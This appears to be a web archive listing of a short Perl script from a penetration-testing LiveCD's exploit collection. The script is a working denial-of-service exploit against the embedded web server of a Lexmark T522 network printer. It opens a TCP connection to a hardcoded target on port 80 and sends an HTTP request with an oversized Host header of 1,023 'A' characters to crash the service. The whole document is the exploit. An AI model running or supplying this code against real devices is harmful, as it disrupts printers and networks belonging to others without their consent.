home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / lexmark / t522-httpd.pl < prev   
Perl Script  |  2005-02-12  |  651b  |  19 lines
  1. #!/usr/bin/perl
  2. #
  3. # Denial of Service agains Lexmark T522 Network Printer Webserver
  4. # by snakebyte / eric ( http://www.snake-basket.de )
  5. use Socket;
  6.  
  7. $target = "192.168.0.54";
  8. $port = "80";
  9. $lamecode = "A" x 1023;
  10.  
  11. $iaddr = inet_aton($target);
  12. $paddr = sockaddr_in($port, $iaddr)               || die "getprotobyname: $!\n";
  13. $proto = getprotobyname("tcp")                    || die "getprotobyname: $!\n";
  14. socket(SOCKET, PF_INET, SOCK_STREAM, $proto)      || die "socket: $!\n";
  15. connect(SOCKET, $paddr)                  || die "connection attempt failed: $!\n";
  16. send(SOCKET, "GET / HTTP/1.0\r\n", 0);
  17. send(SOCKET, "Host: ".$lamecode."\r\n\r\n", 0);
  18. close SOCKET;
  19.